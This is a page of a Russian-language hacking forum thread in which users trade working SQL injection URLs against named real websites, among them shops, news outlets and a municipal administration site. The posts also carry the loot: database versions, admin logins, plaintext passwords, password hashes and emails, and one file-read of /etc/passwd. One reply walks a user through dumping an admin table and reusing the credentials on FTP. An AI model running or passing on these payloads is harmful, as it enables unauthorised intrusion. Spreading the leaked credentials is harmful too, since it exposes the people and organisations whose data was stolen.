SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 206 of 798
  1. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    linspire.com

    4.0.27-standard-log::::[email protected]
     
    #4101 n0ne, 18 Dec 2007
    1 person likes this.
  2. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
    www.patio.com
    Code:
    http://patio.com/catalog.php?id=-82+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    5.0.27_pat9663@localhost_patio_com
    Code:
    http://patio.com/catalog.php?id=-82+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables/*
    ....таблицы>колонки
    А вот дальше никак....( "Table 'patio_com.admin' doesn't exist" "SELECT command denied to user 'pat9663'@'localhost' for table 'admin'"
     
    #4102 5taY3r, 18 Dec 2007
    2 people like this.
  3. 4Dfx

    4Dfx Banned

    Joined:
    6 Dec 2007
    Messages:
    12
    Likes Received:
    10
    Reputations:
    0
    Code:
    http://www.ethology.ru/library/?id=-1+union+select+1,2,3,4,5,login,passwd,8+from+ethology_users+limit+2,1/*
    Логины и пароли к закрытому форуму!!!
     
    #4103 4Dfx, 18 Dec 2007
    1 person likes this.
  4. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    4.1.22:wwwmksksrumksks@localhost

    http://www.mks-ks.ru/shop/cat.php?id=-1+union+select+1,2,3,concat(0x3a,version(),database(),user())/*
     
    #4104 JIyka, 18 Dec 2007
    Last edited: 18 Dec 2007
  5. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    fedor.bel.ru
    Официальный сайт Федора Емельяненко
    (кто не знает, он 4-х кратный чемпион мира по самбо)
    Code:
    http://fedor.bel.ru/?id=-147+UNION+SELECT+1,concat(login,0x3a,password),3,4,5,6,7,8,9+from+users+limit+0,3/*
    5.1.19-beta-log

    логин:joerg32
    пароль:joerg321

    Там есть магазин, как раз к нему пароль и подошел... ;-)
     
    #4105 Iceangel_, 18 Dec 2007
    Last edited: 18 Dec 2007
    8 people like this.
  6. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Для 5taY3r

    Ищешь табы:
    Code:
    http://patio.com/catalog.php?id=-82+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables+limit+17,1/*
    Например, находишь табу tbladminusers
    Смотришь в ней поля:
    Code:
    http://patio.com/catalog.php?id=-82+union+select+1,2,3,4,5,column_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns+where+table_name=0x74626C61646D696E7573657273+limit+1,1/*
    Видим поля userID и patiopassword
    Смотрим кто там:
    Code:
    http://patio.com/catalog.php?id=-82+union+select+1,2,3,4,5,concat_ws(0x3a,userID,patiopassword),7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+tbladminusers+limit+0,1/*
    Сидит там [ логин : пасс ]:
    Code:
    patioadmin:furniture
    Этот для смеха тут сидит, а этот
    Code:
    patio : pat9663
    АДМИН!!!

    И всего-то делов! ;)

    В дополнение можно раскопать, что логин и пасс админа подходят к ftp.patio.com ...
    Ну а с этим можно и поиграться! :D
     
    #4106 fRg, 18 Dec 2007
    Last edited: 18 Dec 2007
    6 people like this.
  7. K1nD[e]R

    K1nD[e]R Banned

    Joined:
    16 Jun 2007
    Messages:
    159
    Likes Received:
    127
    Reputations:
    0
    Code:
    http://www.xoxox.ru/news.php?id=-96+union+select+1,2,version(),4,5,6,concat_ws(0x2F,brand_id,name),8+from+brands/*
    Version 5.0.45-log
     
    #4107 K1nD[e]R, 18 Dec 2007
    2 people like this.
  8. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    rfbd.ru

    HTML:
    http://www.rfbd.ru/cat.php?rubrika=1+union+select+0,VERSION(),USER(),3,DATABASE(),5,6,7,8,9,10,11,12,13/*
    USER:a1rfbd_guest@localhost
    VERSION:5.0.37-standard-log
    DATABASE:a1rfbd_ric_datebase

    Вывод названий всех таблиц (information_schema.tables) -
    HTML:
    http://www.rfbd.ru/cat.php?rubrika=1+union+select+0,concat(USER(),VERSION(),DATABASE()),concat(Table_name),3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables/*
    Вывод названий всех колон (information_schema.columns) -
    HTML:
    http://www.rfbd.ru/cat.php?rubrika=1+union+select+0,concat(USER(),VERSION(),DATABASE()),concat(Column_name),3,4,5,6,7,8,9,10,11,12,13+from+information_schema.columns/*
    Это не баян и раскрутил всё что смог, а плюсеГ так и не пиставили, обидно. :(
     
    #4108 .Begemot., 18 Dec 2007
    Last edited: 19 Dec 2007
    1 person likes this.
  9. Neovild

    Neovild Elder - Старейшина

    Joined:
    18 Dec 2007
    Messages:
    28
    Likes Received:
    22
    Reputations:
    0
    Моя первая скуль-инъекция (только неполная; нашел количество столбцов и поле для вывода)
    HTML:
    http://www.softmart.ru/comp/show_prog.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9,10,11,12/*
     
    #4109 Neovild, 18 Dec 2007
    1 person likes this.
  10. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    HTML:
    http://www.expert-bdd.com/arhiv.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15/*
    HTML:
    http://www.expert-bdd.com/arhiv.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,concat(name,0x3a,password,0x3a,email),12,13,14,15+FROM+admins/*
    Митко:cf9fb3872eced13b0deceb1eb6595442:
    Кирил:646e5563343543ac1f3871e4bb2d33f7:[email protected]:lipa4

    HTML:
    http://www.expert-bdd.com/arhiv.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,LOAD_FILE('/etc/passwd'),12,13,14,15/*
     
    #4110 ~EviL~, 18 Dec 2007
    Last edited: 18 Dec 2007
    2 people like this.
  11. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    admin:d23d8b79f575bcc0eedfb8c4e2f13540:repz

    http://www.a2k.org.ua/news.php?id=-1567+union+select+1,2,3,4,concat_ws(0x3a,user,password),
    6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,
    27,28,29,30,31,32,33,34,35,36,37,38+from+users+limit+7,1/*

    admin:d23d8b79f575bcc0eedfb8c4e2f13540:repz
    privacy:21cec257feb15bcc84e0acd5b0773883:privacy
    irina:e67ccf0c31412f5905978cd805a6a432:rf2005
    editor:d7d2105b3178dea4921b7748bc4e71eb:maidan    ​
     
    #4111 JIyka, 18 Dec 2007
    1 person likes this.
  12. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    http://www.mywatches.ru/page.php?n=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4/*

    5.0.45-log:[email protected]:u80484
     
    #4112 JIyka, 19 Dec 2007
    1 person likes this.
  13. Neovild

    Neovild Elder - Старейшина

    Joined:
    18 Dec 2007
    Messages:
    28
    Likes Received:
    22
    Reputations:
    0
    2 часа сидел и никак не подобрал столбцы
    HTML:
    http://www.rabotamania.ru/index.php?id=-1+union+select+concat_ws(0x3a,version(),user(),system_user(),database()),2,3,4,5,6,7,8,9,10+from+rabotamania_pages/*
    HTML:
    http://studyport.info/viewdetails.php?id=-1+Union+select+1,concat_ws(0x3a,version(),user()%20,database()),3,4,5,6,7,8,9,10,11,12,13,14,15/*
     
    #4113 Neovild, 19 Dec 2007
    2 people like this.
  14. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Готовлю большую заготовку по Франции...

    Пока только мелочь...

    yack.fr
    Code:
    http://yack.fr/yack/index.php?mainFrame=actu.php%3Fid_actu%3D-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10/*
    4.0.24_Debian-10sarge2-log:user_2657:[email protected]
    Таблицы:
    Code:
    actu
actu_theme
categorie
devis
document
dpt
famille
marque
part_dpt
partenaire
produit
reference
secteur
    Чёт ни админских, ни юзерских таб не нашёл ... :mad:

    promo-web.org
    Code:
    http://www.promo-web.org/forum/viewtopic.php?TopicID=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4/*
    4.1.22-standard : promoweb : promoweb@localhost
     
    #4114 fRg, 19 Dec 2007
    3 people like this.
  15. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    http://www.protruck.ru/catalogue.php?gid=80+union+select+1,2,3,4,5,6,7,concat(srv_login,0x3a,srv_passw),9,0,1,2,3+from+protruck_users/*
    5ая
    admin:12345
     
    #4115 159932, 19 Dec 2007
    4 people like this.
  16. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    www.prosambo.com
    Code:
    http://www.prosambo.com/index.php?razdel=news&id=-28+UNION+SELECT+1,2,3,4,5,6,version()/*
    Сайт самбистов...(не подумайте что я не люблю спорт... =) )
    5.0.45

    vostokmedia.com
    Code:
    http://vostokmedia.com/news.details.php?id=-7269+UNION+SELECT+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15/*
    Сайт Информационного агенства "Восток Медиа"
    4.1.22-standard-log


    www.gazeta-vv.ru
    Code:
    http://www.gazeta-vv.ru/?action=arh&number=98&id=-667+UNION+SELECT+1,2,3,4,concat(user,0x3a,password),6,7,8,9,10,11,12,13+from+mysql.user/*
    Сайт какой-то газеты...
    4.0.18

    user:agata
    hash:4462ead17d29e68b

    www.lyapis.com
    Code:
    http://www.lyapis.com/articles.php?id=-127+UNION+SELECT+1,2,3,4,5,6,7,8,9/*
    Официальный сайт Ляписа Трубецкого
    4.1.22-standard


    sovadmin.gomel.by
    Code:
    http://www.sovadmin.gomel.by/news.php?id=-842+UNION+SELECT+1,version(),3,4,5,6,7,8,9/*
    Официальный сайт администрации Советского района г. Гомеля
    4.0.18
     
    #4116 Iceangel_, 19 Dec 2007
    Last edited: 19 Dec 2007
    4 people like this.
  17. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.camellia-flowers.ru/news.php?id=-16+union+select+1,VERSION(),3,4,5,6/*
     
    #4117 SWAT, 19 Dec 2007
    4 people like this.
  18. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.charlotte.ru/?page=item&id=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8,9,10/*

    4.1.20/charlotte/charlotte@localhost


    http://www.charlotte.ru/?page=item&id=-1+union+select+1,concat_ws(0x2F,login,password,email),3,4,5,6,7,8,9,10+from+users+limit+0,1/*

    логин/пароль/мейл
    Timur/zxcv5/[email protected]
     
    #4118 ElteRUS, 19 Dec 2007
    3 people like this.
  19. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    5 мускул, больше 100 табл., в т.ч. administrator

    http://www.topculturism.ro/viewdetails.php?t=2&id=-5+union+select+version(),2/*​
     
    #4119 JIyka, 20 Dec 2007
    1 person likes this.
  20. Loker

    Loker Elder - Старейшина

    Joined:
    25 Oct 2007
    Messages:
    46
    Likes Received:
    23
    Reputations:
    5
    http://www.aobg.org/forum/post.php?id=-372+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat(User_name,password),0x71),0x71),4,5,6,7,8,9,10+from+users+limit+1,1
    какойто балгарский сайт
    Вот Логин и Хеш
    radoslav_radev:215c335921383a8a
     
    #4120 Loker, 20 Dec 2007
    2 people like this.
(You must log in or sign up to post here.)
Page 206 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.